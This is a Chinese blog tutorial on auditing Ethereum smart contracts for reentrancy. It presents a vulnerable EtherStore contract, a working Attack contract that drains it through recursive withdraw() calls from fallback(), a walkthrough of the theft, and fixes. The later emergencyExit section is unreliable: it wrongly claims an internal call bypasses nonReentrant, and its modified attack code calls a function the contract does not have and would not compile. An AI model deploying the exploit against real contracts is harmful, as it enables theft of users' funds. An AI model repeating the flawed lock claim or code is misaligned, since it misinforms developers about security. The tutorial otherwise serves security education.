【区块链安全 | 第三十四篇】合约审计之重入漏洞

在这里插入图片描述

概念

以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时,通常会触发一个叫做 fallback 的函数来执行一些特定的操作。这就是所谓的“隐蔽的外部调用”。

重入漏洞的问题出现在合约的外部调用上,尤其是当目标是一个恶意的合约时。攻击者可能会利用这种外部调用,在被攻击的合约中执行一些恶意逻辑。举个例子,当合约调用恶意合约时,恶意合约可以通过某些方式重新进入被攻击的合约,重复执行一些操作,甚至发起非预期的交易,从而破坏合约的正常逻辑。

换句话说,重入漏洞就是攻击者利用合约间外部调用的机制,在合约中反复进入,造成不希望发生的行为,通常会导致合约的资金被盗取。

漏洞代码

以下为典型的存在重入漏洞的合约代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;

contract EtherStore {
    mapping(address => uint) public balances;

    // 存款函数
    function deposit() public payable {
        // 增加余额
        balances[msg.sender] += msg.value;
    }

    // 提款函数
    function withdraw() public {
        // 提款前,余额需大于0
        uint bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        // 先发送以太
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

		// 再清除余额
        balances[msg.sender] = 0;
    }

    // 查询合约余额
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

不难看出,该 EtherStore 合约是一个充提合约。

代码审计

我们重点关注 withdraw() 函数:

    // 提款函数
    function withdraw() public {
        // 提款前,余额需大于0
        uint bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        // 先发送以太
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

		// 再清除余额
        balances[msg.sender] = 0;
    }

这一段代码执行了转账操作,实现了外部调用:

        // 先发送以太
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

因此我们需要特别关注这里是否存在重入漏洞。

我们可以看到,在 withdraw 函数中,合约是先执行外部调用进行转账,然后才将用户的账户余额清零。那么,我们就可以构造一个恶意合约,在接收到转账时,通过回调函数在 balances[msg.sender] = 0 这一行执行之前,不断递归调用 withdraw 函数重复提现,从而将整个合约的余额逐步提空。

攻击代码

仔细查看代码注释:

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) { // 构造函数的声明
        etherStore = EtherStore(_etherStoreAddress);
        // 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量
    }
	// 相当于传入受害合约


	// 当合约收到以太币时,
	// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,
	// 就会触发 fallback() 函数
	// 因此,当 EtherStore 合约向 Attack 合约发送以太币时,这个 fallback() 就会被自动触发
	// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;
	// 如果是,就再次调用 etherStore.withdraw();
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        
        etherStore.deposit{value: 1 ether}(); 
        // 向 EtherStore 合约存入 1 ETH,增加其余额
        

		// 从 EtherStore 中提取资金
        etherStore.withdraw();
        // 提取到资金后,就会触发本合约的 fallback() 
    }

    // 辅助函数:查看该合约的余额
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击过程总结

1.攻击者首先调用 attack(),并向 EtherStore 合约发送 1 ETH。

2.然后,Attack 合约将这 1 ETH 存入 EtherStore 合约。

由于在 EtherStore 合约提款时,余额需大于0,因此需提前存入 1 ETH 满足提款条件,进而触发下文的第4点。

3.紧接着,攻击者调用 Attack 合约中的 withdraw(),从 EtherStore 提取资金。

4.EtherStore 合约向 Attack 合约转账,触发 Attack 合约的 fallback() 函数。

5.在 Attack 合约的 fallback() 中,Attack 合约再次调用 withdraw(),重复这个过程,直到 EtherStore 合约的余额被完全提取。

示例

我们假设有三个角色参与本次攻击:

  • 用户 Alice
  • 用户 Bob
  • 攻击者 Eve

整个攻击过程如下。

1.部署 EtherStore 合约。

2.用户 Alice 和用户 Bob 各向 EtherStore 合约充值 1 个以太币。此时合约总余额为 2 ETH。

3.攻击者 Eve 部署 Attack 合约,并在部署时传入 EtherStore 合约地址,完成初始化。

4.Eve 调用 Attack.attack() 函数,向 EtherStore 合约存入 1 个以太币,以建立合法的余额记录;

5.此时 EtherStore 合约中共有 3 ETH,分别来自 Alice、Bob 和 Eve。

6.攻击者调用 EtherStore.withdraw() 提现这 1 ETH。

7.在提现过程中,EtherStore 合约会向 Attack 合约发送 1 ETH,进而触发 Attack 合约的 fallback() 函数。

8.在 fallback() 中,只要 EtherStore 合约余额仍大于等于 1 ETH,Attack 合约就会递归调用 withdraw(),不断重复提现。

9.最终,直到 EtherStore 合约余额低于 1 ETH,攻击循环才会停止。

10.此时:

  • Alice 和 Bob 原本的 2 ETH 已被攻击者转移走;
  • 攻击者 Eve 获得了合约中所有剩余的资金。

修复建议

1.先更新状态,再进行外部调用
我们应避免在修改状态变量之前进行外部调用。因此,我们可以将 balances[msg.sender] = 0; 移动到转账语句之前。

    // 提款函数
    function withdraw() public {
        // 提款前,余额需大于0
        uint bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

		// 先清除余额
        balances[msg.sender] = 0;
        
        // 再发送以太
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

此时你可能有疑问:“把 balances[msg.sender] = 0; 放在转账前,不就把余额清零了吗?那转账的那一行怎么实现?”

注意:第 1 行我们用 uint bal = balances[msg.sender]; 把用户余额先读出来,赋值给了一个局部变量 bal;即使我们随后把 balances[msg.sender] 设置为 0,不会影响 bal 的值;最后转账时,用的不是 balances[msg.sender],而是我们事先保存下来的 bal,所以不会出问题。

2.使用“重入锁”(Reentrancy Guard)
可以引入互斥锁(mutex)机制,防止函数被递归调用。OpenZeppelin 提供了非常成熟的 ReentrancyGuard 合约。

示例代码如下:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract EtherStore is ReentrancyGuard {
    mapping(address => uint) public balances;

	// 存款函数
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

	// nonReentrant 是 ReentrancyGuard 提供的一个修饰器(modifier)
	// 一旦 withdraw() 开始执行,就不允许再次进入,直到它执行完毕
    function withdraw() public nonReentrant {
        uint bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
    }
}

此时你可能又有一个问题:“我已经用了 nonReentrant,那我是不是就可以把转账写在前,清零写在后?”

不行。理由如下:

1.“状态先改,再调用外部合约”,满足 Solidity 安全开发的通用原则:Checks-Effects-Interactions Pattern。

2.你未来可能会在 EtherStore 合约中新增一个“退出合约”或“紧急退款”功能,比如编写了一个 emergencyExit() 函数,内部帮助用户调用 withdraw()。但如果这个函数未加 nonReentrant 修饰器,就可能引发重入风险。示例如下:

function emergencyExit() public {     // emergencyExit() 后忘记加 nonReentrant
    withdraw(); // 调用了已经加锁的 withdraw()
}

虽然 withdraw() 本身是有 nonReentrant 修饰器的,但由于它是被合约内部直接调用的(即内部函数调用),不会触发 ReentrancyGuard 的锁机制。因为锁机制依赖的是“重新进入函数”的检测,而这种调用路径仍然沿着原始的调用栈执行,并未重新进入函数上下文。

攻击者只需修改代码如下,即可再次导致重入攻击的发生:

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) { // 构造函数的声明
        etherStore = EtherStore(_etherStoreAddress);
        // 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量
    }
	// 相当于传入受害合约


	// 当合约收到以太币时,
	// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,
	// 就会触发 fallback() 函数
	// 因此,申请紧急退款时,EtherStore 合约向 Attack 合约发送以太币,这个 fallback() 就会被自动触发
	// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;
	// 如果是,就再次调用 emergencyExit()
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            emergencyExit()
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        
        etherStore.deposit{value: 1 ether}(); 
        // 向 EtherStore 合约存入 1 ETH,增加其余额
        

		// 调用紧急退款,从 EtherStore 提取资金
        emergencyExit()
        // 提取到资金后,触发本合约的 fallback() 
    }

    // 辅助函数:查看该合约的余额
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

审计思路

所有涉及外部合约调用的代码位置都可能存在安全风险。因此,在审计过程中,我们应重点审查这些外部调用的部分,并深入推演可能产生的危害。通过这种方式,我们能够有效判断是否存在重入漏洞的风险,并采取相应的防护措施。

最后要注意:使用 call 函数进行转账容易发生重入攻击,因为 call 是低级函数,call 在执行后会执行目标地址(msg.sender)的 fallback 或 receive 函数,即将控制权交给目标合约。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/147046205
今日推荐